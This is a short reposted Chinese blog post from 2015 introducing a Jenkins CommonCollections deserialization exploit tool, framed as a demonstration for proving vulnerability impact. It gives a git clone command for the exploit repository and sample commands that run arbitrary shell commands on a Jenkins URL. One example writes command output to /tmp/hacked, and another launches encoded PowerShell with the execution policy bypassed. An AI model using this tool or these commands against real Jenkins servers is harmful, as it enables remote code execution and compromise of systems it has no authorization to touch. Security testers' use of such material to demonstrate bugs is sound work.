[轉]Jenkins CommonCollections 完美利用（示範）工具

標籤：

博主URL：http://tools.changesec.com/Jenkins-CommonCollections-Exploit/

提交漏洞總是要證明漏洞危害，老外寫的java代碼又有bug，所以隨手改掉了

點擊這裡下載代碼，或者使用如下命令

git clone https://github.com/CaledoniaProject/jenkins-cli-exploit.git

來張吧，

工具的具體使用方法，

如果目標是 Linux、Mac 機器，請使用，

./client.pl --url http://127.0.0.1:8080/jenkins/ --os linux --cmd ‘{ whoami; ls -lh; } > /tmp/hacked‘

如果是 Windows 機器，

./client.pl --url http://127.0.0.1:8080/jenkins/ --os win --cmd ‘powershell -ep bypass -enc xxxxx‘

環境要求，

1. 確保你安裝了 java、perl
2. 確保你安裝了 IPC::Run 這個PERL模組，安裝方法為 cpan IPC::Run

編寫於 November 15, 2015

[轉]Jenkins CommonCollections 完美利用（示範）工具